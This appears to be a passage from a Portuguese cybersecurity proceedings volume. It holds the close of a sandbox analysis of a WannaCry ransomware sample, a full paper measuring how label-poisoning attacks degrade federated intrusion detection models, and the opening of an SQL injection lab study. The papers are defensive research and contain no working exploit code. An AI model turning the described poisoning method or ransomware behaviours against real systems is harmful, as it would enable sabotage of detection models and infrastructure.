Ao analisar as informações de tráfego de rede, observa-se que diversos endereços
IP, tanto internos quanto externos, foram contatados. A máquina infectada enviou mi-
lhares de requisições de conexão (SYN) com destino a porta TCP 445, utilizada pelo
protocolo SMB, caracterizando uma tentativa de propagação pela rede — o principal ve-
tor de disseminação do malware. Também foi possı́vel identificar tentativas de conexão
com o domı́nio que atua como kill-switch, mencionado no inı́cio deste artigo.
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Com base na captura de pacotes — que pode ser exportada em formato .PCAP, é possı́vel
adotar medidas estratégicas de mitigação, como o bloqueio de endereços IP maliciosos
identificados durante a análise. Além disso, pode-se aplicar técnicas de bloqueio ge-
ográfico (GeoIP), nas quais endereços provenientes de determinados paı́ses são restrin-
gidos preventivamente. Essas informações são obtidas por meio da integração do CAPE
Sandbox com bases de dados externas, como o GeoLite e o IPInfo, que fornecem meta-
dados sobre a origem geográfica e o provedor de cada endereço IP detectado. Além dos
itens supracitados, foram observadas ainda ações como coleta de informações do sistema
(ipconfig, netstat, systeminfo), limpeza de histórico web e criação do arquivo
de instruções de resgate caracterı́stico do WannaCry.

Tabela 3. Resumo dos resultados da análise

Parâmetro Descrição
Amostra analisada ed01ebfbc9eb5bbea545.exe

Tempo de execução 671 segundos
Hash MD5 84c82835a5d21bbcf75a61706d8ab549

Comportamentos iden-
tificados

Deleção de cópias de sombra; deleção de backups locais;
alteração das configurações do BCD (Boot Configuration
Data); alterações de registro; consultas de hostname, nome
de usuário, layout de teclado e região do computador;
validação de movimentos do mouse; modificação das per-
missões de pastas; chamada de APIs para geração de cha-
ves criptográficas; criação de processos em janelas ocultas;
tentativa de coleta de informações via cookies; tentativa de
propagação pela rede; consulta a URL de kill-switch; dump
completo de memória.

6. Conclusão

É notório que a compreensão dos mecanismos de ataque é fundamental para os profissio-
nais da área de segurança da informação, visto que somente por meio do entendimento de-
talhado das diversas ameaças que atualmente permeiam o ambiente cibernético é possı́vel
desenvolver métodos de defesa adequados e, principalmente, eficazes.

Como foi demonstrado, os ataques de ransomware não têm apenas o objetivo de
desestabilizar empresas e instituições, mas também de obter lucro por meio do bloqueio
de sistemas inteiros, muitas vezes crı́ticos para a sociedade. O rápido entendimento dos
vetores e das técnicas utilizadas por essas ações maliciosas constitui elemento essencial
na defesa e mitigação dos ambientes comprometidos, bem como na proteção preventiva
de sistemas ainda não explorados.

Dessa forma, este trabalho teve como propósito apresentar os métodos e resul-
tados de uma análise automatizada de malware, explorando alternativas que possam au-
xiliar o profissional de segurança na identificação, compreensão e resposta a incidentes
cibernéticos de forma mais eficiente.
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Abstract. Federated Learning (FL) enables privacy-preserving training on de-
centralized data but remains vulnerable to adversarial attacks such as label
poisoning. This work analyzes the impact of label poisoning on federated in-
trusion detection in substation environments using non-IID data and FedAvg
aggregation on a dataset generated through the ERENO framework. Experi-
ments conducted with the Flower and Ray frameworks evaluate accuracy and
F1-score degradation under poisoned scenarios, highlighting the need for ro-
bust mitigation strategies in federated intrusion detection for substations.

Resumo. Aprendizado Federado (Federated Learning – FL) possibilita o trei-
namento com preservação de privacidade sobre dados descentralizados, mas
permanece vulnerável a ataques adversariais, como o envenenamento de rótu-
los (label poisoning). Este trabalho analisa o impacto do label poisoning na
detecção de intrusões federada em ambientes de subestações, utilizando dados
não IID e agregação FedAvg sobre um conjunto de dados gerado por meio do
framework ERENO. Experimentos conduzidos com os frameworks Flower e Ray
avaliam a degradação da acurácia e do F1-score em cenários corrompidos, evi-
denciando a necessidade de estratégias robustas de mitigação na detecção de
intrusões federada para subestações.

1. Introdução

O Aprendizado Federado (FL) tem se destacado como uma abordagem descentralizada
de aprendizado de máquina que possibilita o treinamento cooperativo de modelos sem a
necessidade de centralizar dados sensíveis [McMahan et al. 2017]. Nesta configuração,
diversos clientes — dispositivos, organizações ou sensores — participam do processo de
aprendizado local, enviando apenas os parâmetros atualizados de seus modelos para um
servidor central, que realiza a agregação global.

Apesar dos importantes benefícios da descentralização do FL, como a preserva-
ção da privacidade e a redução de riscos relacionados à exposição de dados, essa ca-
racterística também o torna mais vulnerável. Uma vez que o servidor central confia
nas atualizações recebidas dos clientes, agentes maliciosos podem manipular o processo
de aprendizado injetando informações incorretas ou enviesadas [Bagdasaryan et al. 2020,
Sagar et al. 2023]. Esse tipo de ataque é conhecido como poisoning e pode ocorrer em
diferentes níveis: nos dados de entrada, nos gradientes e nos parâmetros do modelo.

Dentre as formas de envenenamento, o Label Poisoning (envenenamento de ró-
tulos) é uma das mais sutis e eficazes. Nesse ataque, uma fração dos rótulos de treino
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de determinados clientes é alterada de maneira sistemática, levando o modelo a apren-
der associações incorretas. Embora aparentemente inofensivo, esse tipo de manipula-
ção pode causar degradações significativas no desempenho global, principalmente em
ambientes não-IID, onde as distribuições de dados entre os clientes já são heterogêneas
[Jha et al. 2023, Fang et al. 2020].

Neste trabalho, busca-se analisar quantitativamente a degradação causada por ata-
ques de label poisoning em um ambiente de FL simulado com o framework Flower
[Beutel et al. 2020]. Utilizando um conjunto de dados realista, gerado por meio do fra-
mework ERENO [Quincozes et al. 2024], foram conduzidos experimentos comparativos
entre situações normais e cenários com nós comprometidos. Nos experimentos foram
analisados os impactos da variação de parâmetros como fração de participação do nó ma-
licioso e intensidade do ataque de envenenamento de rótulos a fim de compreender em
que medida o ataque afeta as métricas de desempenho, como acurácia e F1-score, e como
essas variações se manifestam ao longo dos rounds de agregação global.

2. Fundamentação Teórica
O FL é uma técnica de aprendizado de máquina distribuído que permite o treinamento
cooperativo de modelos sem que os dados precisem ser centralizados. Proposto inicial-
mente por [McMahan et al. 2017], o FL visa preservar a privacidade e reduzir custos de
comunicação em sistemas compostos por múltiplos dispositivos ou entidades autônomas.
No FL, cada cliente k possui um conjunto local de dados Dk e executa um processo de
aprendizado local para ajustar os parâmetros de um modelo w. O servidor central agrega
periodicamente os modelos locais recebidos, formando um novo modelo global wt+1 para
a próxima rodada (round). Esse processo iterativo é formalizado como:

wt+1 =
K∑

k=1

nk

n
w

(k)
t (1)

onde w
(k)
t representa os parâmetros aprendidos pelo cliente k no round t, n é o

total de amostras, e nk é o número de amostras do cliente. Essa média ponderada de
pesos é conhecida como Federated Averaging (FedAvg).

Um dos principais desafios no FL é a heterogeneidade dos dados. Em cenários
reais, as distribuições locais Pk(x, y) variam entre os clientes, violando a suposição de in-
dependência e distribuição idêntica (IID). Essa heterogeneidade — chamada de não-IID
— pode ser simulada experimentalmente por meio da partição de Dirichlet, controlada
por um parâmetro α. Valores menores de α resultam em distribuições mais desbalance-
adas (maior heterogeneidade) [Li et al. 2020]. No presente trabalho, a partição Dirichlet
foi usada para atribuir subconjuntos de dados diferenciados entre clientes, refletindo a di-
versidade típica de ambientes IoT e redes inteligentes (smart grids). Essa característica é
crucial para avaliar o impacto de ataques em condições realistas.

A segurança do FL tem sido amplamente estudada na literatura, principalmente
sob a ótica de ataques e defesas [Sagar et al. 2023, Fang et al. 2020]. Entre os principais
tipos de ataques destacam-se:

• Data Poisoning: o atacante manipula os dados de entrada, inserindo exemplos
falsos ou adulterados.
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• Model Poisoning: o atacante modifica diretamente os parâmetros ou gradientes
antes do envio ao servidor.

• Backdoor Attack: o atacante injeta padrões específicos (gatilhos) nos dados de
treino para provocar comportamentos desejados no modelo global.

• Label Poisoning: o atacante altera sistematicamente os rótulos de treino, levando
o modelo a aprender associações incorretas.

Entre essas formas, o label poisoning é particularmente perigoso, pois é simples
de implementar e difícil de detectar, já que os dados aparentam ser válidos à primeira
vista [Jha et al. 2023]. Estudos recentes mostram que mesmo pequenas taxas de alteração
de rótulos podem causar degradações expressivas nas métricas globais de desempenho
[Bagdasaryan et al. 2020, Fang et al. 2020]. Diversas estratégias foram propostas para
mitigar ataques de poisoning. Segundo [Fang et al. 2020] e [Baruch et al. 2019], as defe-
sas podem ser classificadas em três categorias:

1. Agregações robustas: métodos como Krum, Trimmed Mean e Bulyan reduzem a
influência de clientes maliciosos descartando atualizações distantes da média.

2. Detecção de anomalias: análise estatística de gradientes ou métricas locais para
identificar comportamentos desviantes.

3. Validação por reputação: atribuição de pesos de confiança com base no histórico
de desempenho de cada cliente.

Embora essas defesas aumentem a resiliência, o algoritmo FedAvg ainda é am-
plamente utilizado em experimentos por sua simplicidade e valor de referência. Portanto,
neste trabalho, o FedAvg é utilizado para medir a degradação causada por label poisoning.

3. Trabalhos Relacionados
Nos últimos anos, o FL evoluiu de uma proposta conceitual para uma área consolidada
de pesquisa, abrangendo desde aplicações em dispositivos móveis até sistemas críticos
em redes industriais e Internet das Coisas (IoT). Entretanto, o aumento da adoção de
FL também trouxe novos desafios de segurança, especialmente relacionados a ataques de
envenenamento (poisoning) e estratégias de defesa [Sagar et al. 2023, Fang et al. 2020,
Jha et al. 2023].

3.1. Avanços e Desafios em Aprendizado Federado

De acordo com o levantamento de [Kairouz et al. 2021] e [Li et al. 2020], os principais
desafios atuais do FL envolvem a heterogeneidade de dados, a comunicação eficiente e a
segurança dos modelos agregados. Esses autores destacam que, embora o FedAvg seja
amplamente utilizado por sua simplicidade, ele é suscetível a distorções causadas por
clientes com dados enviesados ou maliciosos.

O estudo de [Nguyen et al. 2020] amplia essa discussão ao analisar o uso de FL
na detecção de intrusões em ambientes IoT. Os autores demonstram que, embora o FL
reduza a necessidade de compartilhamento de dados e preserve melhor a privacidade, a
forte heterogeneidade entre dispositivos e a distribuição não-IID dos dados locais podem
amplificar significativamente o impacto de ataques de envenenamento. Essa constatação
reforça a importância de avaliar tais ataques em cenários realistas de IoT, nos quais a
diversidade dos clientes é inerente.
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3.2. Ataques de Envenenamento e Suas Defesas

O trabalho de [Sagar et al. 2023] apresenta uma visão abrangente sobre ataques e defesas
em FL, classificando os ataques em duas categorias principais: Data Poisoning e Model
Poisoning. Dentro dessa taxonomia, o label poisoning é considerado uma subcategoria
do data poisoning, caracterizada pela modificação seletiva de rótulos. O estudo também
compara abordagens defensivas baseadas em agregação robusta, detecção estatística e
aprendizado diferencialmente privado.

Complementarmente, [Fang et al. 2020] e [Bagdasaryan et al. 2020] analisam a
eficácia de ataques locais (local model poisoning) e backdoor, evidenciando que mesmo
pequenas contribuições maliciosas podem corromper o modelo global quando não há me-
canismos de validação. Esses trabalhos enfatizam a vulnerabilidade do FedAvg, que não
diferencia contribuições confiáveis de suspeitas.

3.3. Defesas Recentes e Estratégias de Mitigação

A artigo A Triad of Defenses to Mitigate Poisoning Attacks in Federated Learning
[Mazetto and Zarpelão 2024] propõe uma combinação de três mecanismos complementa-
res: verificação de integridade, validação cruzada entre clientes e penalização adaptativa
de gradientes suspeitos. Essa abordagem representa um avanço em relação às defesas
puramente estatísticas, pois incorpora elementos de reputação e cooperação distribuída.

Por sua vez, [Sagar et al. 2023] e [Baruch et al. 2019] destacam que as defesas ro-
bustas, como Krum, Trimmed Mean e Bulyan, apresentam bom desempenho sob ataques
intensos, mas tendem a aumentar a complexidade computacional e reduzir a acurácia em
cenários benignos. Isso demonstra o dilema clássico entre robustez e desempenho em
sistemas federados.

3.4. Label Poisoning e Impacto Quantitativo

O estudo recente do artigo Label Poisoning is All You Need [Jha et al. 2023] demonstra
que o envenenamento de rótulos pode ser tão devastador quanto ataques de model poi-
soning, mesmo quando aplicado a uma fração reduzida de clientes. Os autores mostram
que a degradação nas métricas globais é proporcional à fração de dados comprometidos
e à intensidade do ataque. No entanto, a maioria dos trabalhos concentra-se em análises
pontuais, sem acompanhar a degradação ao longo dos rounds, o que motiva a abordagem
deste trabalho.

3.5. Frameworks e Aplicações

O Flower Framework [Beutel et al. 2020] é uma das plataformas mais utilizadas atual-
mente para experimentação em FL, devido à sua flexibilidade e compatibilidade com
bibliotecas como PyTorch, TensorFlow e Scikit-Learn. Ele oferece suporte à execução
distribuída via Ray e permite a simulação controlada de múltiplos clientes, tornando-se
ideal para estudos de ataques e defesas.

Por fim, o ERENO Framework [Quincozes et al. 2024] complementa essa infra-
estrutura experimental ao fornecer conjuntos de dados realistas para segurança em redes
industriais IEC-61850. Sua integração com o FL possibilita avaliar ataques em ambientes
que reproduzem condições de operação de sistemas elétricos inteligentes, preenchendo
uma lacuna entre simulações acadêmicas e cenários práticos de cibersegurança.
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3.6. Discussão

A literatura revisada demonstra que, embora existam avanços significativos na compreen-
são dos ataques e defesas em FL, ainda há carência de estudos que avaliem a degradação
quantitativa contínua dos modelos sob envenenamento de rótulos. A maioria dos traba-
lhos analisa apenas a acurácia final ou a robustez agregada, sem investigar a evolução das
métricas ao longo dos rounds federados.

Dessa forma, este trabalho diferencia-se por oferecer uma abordagem experimen-
tal detalhada, com medições por round, cálculo do delta (∆) entre execuções Clean e
Poisoned, e auditoria individual por cliente. Essa metodologia visa contribuir para o en-
tendimento mais aprofundado do impacto temporal dos ataques de label poisoning e para
o desenvolvimento de estratégias de mitigação baseadas em evidências quantitativas.

4. Metodologia

A metodologia proposta combina simulações controladas de FL com análise compara-
tiva de execuções limpas (Clean) e comprometidas (Poisoned). O objetivo é mensurar a
degradação de desempenho global provocada por ataques de label poisoning, utilizando
métricas clássicas de classificação. Cada experimento gera séries temporais de desem-
penho por round, permitindo calcular o delta (∆) entre os dois cenários. O código-fonte
completo utilizado para a reprodução dos experimentos encontra-se disponível como Ma-
terial Complementar e Artefatos Reprodutíveis, anexo a este trabalho.

4.1. Dataset e Pré-processamento

O framework ERENO [Quincozes et al. 2024] foi desenvolvido para gerar conjuntos de
dados realistas de detecção de intrusões baseados no protocolo IEC-61850, amplamente
utilizado em redes elétricas inteligentes (smart grids), especialmente para reproduzir trá-
fego de rede de subestações elétricas. O conjunto de dados ERENO-2.0-100K, utilizado
neste estudo, contém 100 mil amostras e múltiplas classes de ataques de rede (e.g., ata-
ques replay, flooding, injection, masquerade, etc.), tornando-se uma base adequada para
simulações de ataques e análises de segurança.

Um script foi desenvolvido na linguagem de programação Python
(dataset.py) para realizar a leitura e fazer a conversão de variáveis categóricas
em formato one-hot, padronização via StandardScaler e divisão estratificada em treino
(80%) e teste (20%). A distribuição dos dados entre os clientes é feita com partição
Dirichlet, cujo parâmetro α controla o grau de heterogeneidade (este parâmetro foi
variado nos experimentos, conforme será apresentado a seguir).

4.2. Modelo e Estratégia de Treinamento

O modelo base é uma Regressão Logística Multiclasse, treinada com o solver saga e
regularização L2. O servidor central executa a agregação global via algoritmo FedAvg,
conforme a Equação (1). A cada round, uma fração de clientes (fraction_fit) é sele-
cionada para participar do treinamento, refletindo o comportamento assíncrono típico de
sistemas federados. Os clientes realizam o treino local e retornam os parâmetros atuali-
zados w(k)

t , que são agregados de forma ponderada pelo número de amostras nk.
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4.3. Simulação do Ataque de Envenenamento de Rótulos
O ataque de label poisoning é implementado alterando-se uma fração dos rótulos locais
dos clientes designados como maliciosos. As taxas de envenenamento seguem cronogra-
mas (poison schedules) configuráveis:

• Constant: fração fixa de rótulos alterados em todos os rounds;
• Linear: taxa crescente de poison_start até poison_end;
• Step: aumento em degraus a cada poison_step_rounds.

O conjunto de teste global permanece limpo, assegurando que as métricas reflitam apenas
os efeitos do ataque sobre o modelo e não sobre a base de validação.

4.4. Métricas e Avaliação
As métricas utilizadas avaliam o comportamento do modelo global a cada round, sempre
sobre o conjunto de teste limpo derivado do dataset ERENO-2.0-100K. Em cada round
r, o modelo global resultante da agregação FedAvg é avaliado sobre o conjunto de teste,
produzindo as métricas: acurácia, precisão ponderada (weighted precision), revocação
ponderada (weighted recall) e pontuação F1 ponderada (weigthed F1-Score). O módulo
analyze_results.py consolida os resultados de cada execução, gerando:

• Gráficos de tendência (trend_*.png): evolução das métricas ao longo dos
rounds, comparando os cenários com ataques (poisoned) e sem ataques (clean);

• Gráficos de delta (trend_delta_*.png): evolução de ∆(r) =
métricaClean(r)−métricaPoisoned(r);

• Um arquivo _summary.json com resumo estatístico por métrica, contendo:
– ∆mean: média de ∆(r) ao longo dos rounds;
– ∆median: mediana de ∆(r);
– ∆final: valor de ∆ no último round;
– ∆max: maior diferença observada (pior caso).

Esses artefatos permitem avaliar o impacto líquido do label poisoning ao longo do
treinamento federado e comparar de forma direta modelos treinados em condição Clean
versus Poisoned.

4.5. Execução dos Experimentos
Os experimentos foram conduzidos em um ambiente de simulação federada baseado no
framework Flower (v1.20) com suporte a Ray, utilizando o dataset ERENO-2.0-100K
como fonte de dados. Em cada execução do script analyze.py, são gerados dois fluxos
paralelos de análise:

1. Fluxo Clean: modelo treinado sem qualquer envenenamento de rótulos;
2. Fluxo Poisoned: mesmo experimento, com envenenamento de rótulos (label poi-

soning) aplicado a um subconjunto de clientes.

Ambos os fluxos compartilham exatamente os mesmos hiperparâmetros de simu-
lação (número de clientes, rounds, fraction_fit, partição Dirichlet, semente de ale-
atoriedade, etc.). A única diferença é a presença (ou ausência) de envenenamento de
rótulos em clientes específicos e a taxa de poison em cada round (schedule). Com isso,
qualquer diferença observada nas métricas pode ser atribuída ao ataque, e não a diferenças
de configuração.

Cada execução segue o formato geral:
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python src/analyze.py \
--csv data/ERENO-2.0-100K.csv \
--clients 12 \
--rounds 15 \
--fraction-fit <FF> \
--data-partition dirichlet \
--dirichlet-alpha <ALPHA> \
--poison-schedule <SCHED> \
--poison-start 0.10 \
--poison-end 0.60 \
--poison-step-rounds 3 \
--poisoned-client-frac 0.5 \
--client-test-size 0.2 \
--seed <SEED> \
--run-id <ID>

Foram avaliados 8 cenários (S1–S8), combinando dois valores de
fraction_fit (0,33 e 0,50), dois valores de α da partição Dirichlet (0,01 e
0,05) e dois tipos de schedule de poison (constant e step). Em todos os casos, 50% dos
12 clientes foram marcados como envenenados. A tabela 1 resume os cenários.

Tabela 1. Configuração dos cenários experimentais avaliados.

Cenário Clients Rounds ff α Poison pStart pEnd pStepR pClientFrac TestSize

S1 12 15 0.33 0.01 Const – 0.30 – 0.5 0.2
S2 12 15 0.33 0.01 Step 0.10 0.60 3 0.5 0.2
S3 12 15 0.50 0.01 Const – 0.30 – 0.5 0.2
S4 12 15 0.50 0.01 Step 0.10 0.60 3 0.5 0.2
S5 12 15 0.33 0.05 Const – 0.30 – 0.5 0.2
S6 12 15 0.33 0.05 Step 0.10 0.60 3 0.5 0.2
S7 12 15 0.50 0.05 Const – 0.30 – 0.5 0.2
S8 12 15 0.50 0.05 Step 0.10 0.60 3 0.5 0.2

Em todos os cenários, foi utilizado particionamento de dados não-IID baseado na dis-
tribuição de Dirichlet, com o parâmetro α controlando o grau de heterogeneidade entre
os clientes (valores menores indicam maior desbalanceamento). O algoritmo de agrega-
ção empregado foi o FedAvg, e o conjunto de dados foi gerado pelo framework ERENO.
As execuções apresentadas consideram a seed fixa igual a 42; resultados adicionais com
seeds 123 e 999 seguem a mesma configuração experimental. Na tabela, Clients re-
presenta o número total de clientes federados; Rounds o número de rodadas de trei-
namento; ff (-fraction-fit) a fração de clientes selecionados por rodada; Poison
(-poison-schedule) define o tipo de agendamento do ataque, sendo Const (constant)
uma taxa fixa até pEnd (-poison-end) e Step (step) uma variação temporal entre pStart
e pEnd, com incrementos a cada pStepR rodadas (-poison-step-rounds). Além
disso, pClientFrac (-poisoned-client-frac) indica a fração de clientes compro-
metidos, e TestSize (-client-test-size) corresponde à fração de dados reservada
para teste em cada cliente. Para garantir a consistência estocástica e mitigar o viés da
inicialização aleatória e da seleção de clientes, cada cenário foi repetido três vezes com
sementes (seed) distintas (42, 123 e 999), totalizando 24 execuções.
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5. Avaliação e Resultados

A avaliação tem por objetivo verificar em que condições o ataque de label poisoning
provoca degradação significativa do desempenho global do modelo federado. Para isso,
foram utilizados os deltas entre os cenários Clean e Poisoned, definidos como:

∆(r) = MétricaClean(r)−MétricaPoisoned(r) (2)

Para cada execução (cenário + seed), o arquivo _summary.json fornece os
valores de ∆mean, ∆final e ∆max para cada métrica. Em seguida, para cada cenário S1–
S8, esses deltas foram obtidos pela média das três seeds. A tabela 2 apresenta o resumo
agregado para as duas métricas mais representativas (Acurácia e F1):

Tabela 2. Deltas médios e finais para Acurácia e F1 (Média das 3 seeds).

Cenário ∆mean(Acc) ∆final(Acc) ∆mean(F1) ∆final(F1)

S1 0.014 -0.007 0.024 0.008
S2 0.054 0.057 0.069 0.052
S3 0.017 0.054 0.021 0.071
S4 0.047 0.043 0.054 0.042
S5 0.038 0.046 0.027 0.051
S6 0.020 0.049 0.012 0.037
S7 0.030 0.019 0.024 0.009
S8 0.018 0.065 0.013 0.046

Observa-se que, exceto por uma pequena oscilação em ∆final(Acc) no cenário S1,
todos os cenários apresentam deltas médios e finais positivos para Acurácia e F1, indi-
cando que o modelo Poisoned tende a apresentar desempenho global pior do que o mo-
delo Clean. Considerando apenas a métrica F1, que captura melhor o compromisso entre
precisão e revocação, é possível notar que:

• Para os cenários com α = 0,01 (S1–S4), o valor médio de ∆mean(F1) é de apro-
ximadamente 0,042, indicando degradação mais pronunciada em ambiente forte-
mente não-i.i.d.;

• Para os cenários com α = 0,05 (S5–S8), o valor médio de ∆mean(F1) cai para
cerca de 0,019, sugerindo impacto menor quando a distribuição entre clientes é
menos extrema.

Do ponto de vista do schedule de poison, os cenários com step geralmente apre-
sentam deltas de F1 mais elevados para α = 0,01 (por exemplo, S2 e S4), enquanto, para
α = 0,05, a diferença entre constant e step é menos acentuada. Isso reforça que a combi-
nação entre heterogeneidade forte e aumento gradual da taxa de envenenamento tende a
amplificar o efeito do ataque.

Adota-se como critério de degradação relevante o caso em que:

• ∆mean e ∆final são positivos para Acurácia e F1;
• As curvas de ∆(r) permanecem acima de zero em uma fração substancial dos

rounds (por exemplo, mais de 70%).
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As repetições com três seeds diferentes (42, 123 e 999) reduzem a influên-
cia de flutuações estocásticas do particionamento Dirichlet, da seleção de clientes
(fraction_fit) e da inicialização do modelo, aumentando a confiabilidade.

6. Resultados Detalhados

Para a análise visual da dinâmica temporal e execução representativa, esta subseção reúne,
para cada cenário, os gráficos de tendência e delta de F1 da execução com seed 42 (Figuras
1 a 8), visto que o comportamento de tendência se manteve consistente entre as diferen-
tes sementes (seed). Os gráficos completos de todas as execuções estão disponíveis no
material complementar (repositório).

A Figura 1 apresenta a evolução global do F1-Score ao longo dos rounds, compa-
rando diretamente os cenários Clean e Poisoned, bem como os respectivos deltas definidos
por ∆(r) = Clean− Poisoned. Essa representação permite quantificar a degradação lí-
quida de desempenho induzida pelo ataque de label poisoning. Observa-se que valores
positivos e recorrentes de ∆(r) indicam um impacto consistente e acumulativo do ataque,
evidenciando a perda sistemática de qualidade preditiva do modelo federado.

Figura 1. Cenário S1 (seed 42).

A Figura 2 apresenta a degradação do F1-Score no Cenário S2 (seed 42), com-
parando diretamente os fluxos Clean e Poisoned. Observa-se que a curva Clean mantém
uma vantagem consistente em relação ao Poisoned ao longo de todo o treinamento. O uso
do schedule step resulta em um crescimento progressivo da degradação, evidenciado pelo
aumento dos valores de ∆(r) após os rounds iniciais, indicando intensificação no impacto
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do ataque de label poisoning.

Figura 2. Cenário S2 (seed 42).

A Figura 3 apresenta o Cenário S3, no qual o aumento do parâmetro fraction_fit,
resulta em uma atenuação parcial das oscilações observadas nas métricas ao longo dos
rounds, bem como em uma redução da intensidade da degradação global do desempenho.
Apesar dessa maior estabilidade, os valores de ∆(r) = Clean−Poisoned indicam que o
ataque de label poisoning mantém um impacto moderado e persistente, evidenciando que
a maior participação de clientes por rodada mitiga, mas não elimina, os efeitos adversos
do envenenamento de rótulos.
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Figura 3. Cenário S3 (seed 42).

A Figura 4 apresenta o Cenário S4, no qual a aplicação do schedule step ampli-
fica o impacto acumulado do ataque de envenenamento de rótulos ao longo dos rounds.
Observa-se que os valores de ∆(r) exibem um crescimento gradual seguido de estabili-
zação, comportamento característico de ataques escalonados, nos quais a degradação do
desempenho se intensifica progressivamente até atingir um patamar de saturação.

Segurança Cibernética na Prática

33



Figura 4. Cenário S4 (seed 42).

A Figura 5 apresenta os resultados para α = 0.05, condição em que a hetero-
geneidade entre os clientes é reduzida. Nesse cenário, observa-se que o ataque de label
poisoning exerce um impacto global mais limitado, refletido em valores de ∆(r) que per-
manecem positivos, porém com menor amplitude ao longo dos rounds, indicando uma
degradação menos severa do desempenho do modelo federado.
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Figura 5. Cenário S5 (seed 42).

A Figura 6 mostra o efeito do schedule step sob a condição de menor heteroge-
neidade (α=0.05), no qual o impacto do ataque de label poisoning manifesta-se de forma
moderada. Observa-se que a menor heterogeneidade na distribuição dos dados entre os
clientes suaviza a degradação do desempenho, resultando em valores de ∆(r) inferiores
aos observados nos cenários S2 e S4.
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Figura 6. Cenário S6 (seed 42).

A Figura 7 apresenta os resultados da combinação de fraction_fit elevado com
um valor de α menos extremo, configuração que confere maior resiliência ao sistema
federado. Observa-se que os valores de ∆(r) permanecem consistentemente positivos,
porém com baixa magnitude, indicando que o ataque de label poisoning provoca apenas
uma degradação limitada do desempenho global.
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Figura 7. Cenário S7 (seed 42).

A Figura 8 apresenta os resultados do Cenário S8, no qual o schedule step ainda
produz uma degradação perceptível do desempenho, porém com menor amplitude. Esse
comportamento decorre do efeito combinado de fraction_fit=0.50 e α=0.05, configuração
que aumenta a participação de clientes por rodada e reduz a heterogeneidade dos dados,
conferindo maior resiliência ao sistema federado.
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Figura 8. Cenário S8 (seed 42).

Os resultados demonstram que ataques de label poisoning causam degradações
mensuráveis nas métricas globais do modelo federado, especialmente em cenários com
forte heterogeneidade de dados (α = 0,01) e schedules de poison mais agressivos.

Em termos quantitativos, destacam-se os seguintes pontos:

• Cenários com α = 0,01 (S1–S4): apresentam, em média, ∆mean(F1) ≈ 0,042. Os
cenários S2 (step, fraction_fit = 0,33) e S4 (step, fraction_fit =
0,50) exibem deltas médios e finais mais elevados, com ∆final(F1) na faixa de
0,04–0,05, evidenciando degradação acumulada ao longo dos 15 rounds.

• Cenários com α = 0,05 (S5–S8): o impacto é menor, com ∆mean(F1) em torno
de 0,019. Ainda assim, os deltas finais permanecem positivos, indicando que o
ataque continua prejudicando o modelo, embora com intensidade reduzida.

• Efeito de fraction_fit: em geral, valores maiores de fraction_fit
(0,50) tendem a suavizar ligeiramente a degradação, já que mais clientes con-
tribuem por round, o que pode diluir o efeito dos clientes envenenados. Essa
tendência é visível ao comparar S1 vs. S3 e S2 vs. S4.

As curvas de tendência (trend_accuracy.png, trend_f1.png) eviden-
ciam que, à medida que o treino avança, o modelo Poisoned tende a ficar sistemati-
camente abaixo do modelo Clean em termos de Acurácia e F1, especialmente nos ce-
nários com schedule step. Já as curvas de delta (trend_delta_accuracy.png,
trend_delta_f1.png) tornam esse efeito explícito, mostrando ∆(r) > 0 em boa
parte dos rounds.
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Diferenças pontuais em que o modelo Poisoned supera o Clean em determina-
dos rounds ou seeds são esperadas, principalmente devido à seleção parcial de clientes
(fraction_fit < 1,0) e à própria heterogeneidade introduzida pelo particionamento
Dirichlet. O cenário S1, por exemplo, apresenta um ∆final(Acc) próximo de zero e leve-
mente negativo, mesmo com ∆mean(Acc) e ∆mean(F1) positivos. Esses casos ilustram o
caráter estocástico do FL, mas o comportamento médio ao longo das seeds e dos rounds
confirma a degradação global causada pelo ataque.

Por fim, a auditoria por cliente (não detalhada aqui, mas disponível via
results_clients.json e audit_clients.csv) mostra que os clientes mar-
cados como envenenados tendem a apresentar métricas locais inferiores e maior variância
entre rounds, o que reforça a correlação entre comportamento local anômalo e degradação
do modelo global.

7. Conclusão
O FL permite a detecção de intrusões sem centralização de dados, mas permanece vul-
nerável a ataques adversariais, como o envenenamento de rótulos. Em cenários não-IID,
esse tipo de ataque pode degradar significativamente o desempenho do modelo global,
tornando necessária uma análise sistemática de seu impacto ao longo do treinamento.

Este trabalho apresentou uma análise experimental detalhada do impacto de ata-
ques de envenenamento de rótulos em FL, utilizando o framework Flower e o data-
set ERENO-2.0-100K. A metodologia desenvolvida permite mensurar a degradação por
round, calcular deltas entre cenários e auditar clientes individualmente. Os resultados
confirmam que o envenenamento de rótulos pode comprometer significativamente o mo-
delo global, sobretudo em cenários não-IID e com alta fração de clientes comprometidos.

Como direções futuras, pretende-se avaliar agregações robustas (Krum, Trimmed
Mean, Bulyan) e mecanismos de detecção de anomalias, bem como explorar a aplicação
do método em ambientes reais de smart grids e IoT.
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Material Complementar e Artefatos Reprodutíveis
Com o objetivo de garantir transparência metodológica e apoiar a reprodutibilidade deste
trabalho, todos os artefatos técnicos relacionados aos experimentos foram disponibiliza-
dos publicamente:

1. Código-fonte completo do projeto
Inclui scripts de simulação, geração de cenários, particionamento não-IID, criação
de clientes, estratégias de envenenamento e módulos de visualização de métricas.
O repositório também contém os arquivos de configuração e exemplos de coman-
dos para execução dos cenários.
Disponível em: https://github.com/maxwelmms/ufu_tcc_esp_
seguranca_cibernetica [Silva 2025].

2. Documentação técnica do Flower
Utilizada para a compreensão das APIs de clientes, servidor e estratégias de agre-
gação, bem como para configuração avançada de simulações.
Disponível em: https://flower.ai/docs [Flower Labs GmbH 2025].

3. Resultados experimentais
Todos os gráficos, métricas, logs e arquivos em formato CSV e JSON gerados
pelas execuções dos oito cenários (S1–S8), cada um com três sementes de aleato-
riedade (seeds) (42, 123 e 999), estão organizados no repositório do projeto.
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Abstract. Web applications concentrate sensitive data and therefore remain fre-
quent targets of attacks that exploit flaws in code and configuration. Among
these flaws, SQL Injection (SQLi) is especially critical, enabling exposure of
credentials and other sensitive information. This work analyzes SQLi vulnera-
bilities in a deliberately vulnerable web application deployed in a virtualized
laboratory environment. Nmap, Burp Suite and Sqlmap are used to map the
attack surface, identify vulnerable parameters, and automate exploitation to ex-
tract database data. The experiments show that, without proper input validation
and parameterized queries, an attacker can obtain sensitive information with
low technical effort. Based on these findings, the paper proposes mitigation re-
commendations aligned with the OWASP Top 10, emphasizing parameterized
queries, least-privilege database accounts, strong password hashing and conti-
nuous monitoring.

Resumo. Aplicações web concentram dados sensíveis e, por isso, são alvos fre-
quentes de ataques que exploram falhas de código e configuração. Entre essas
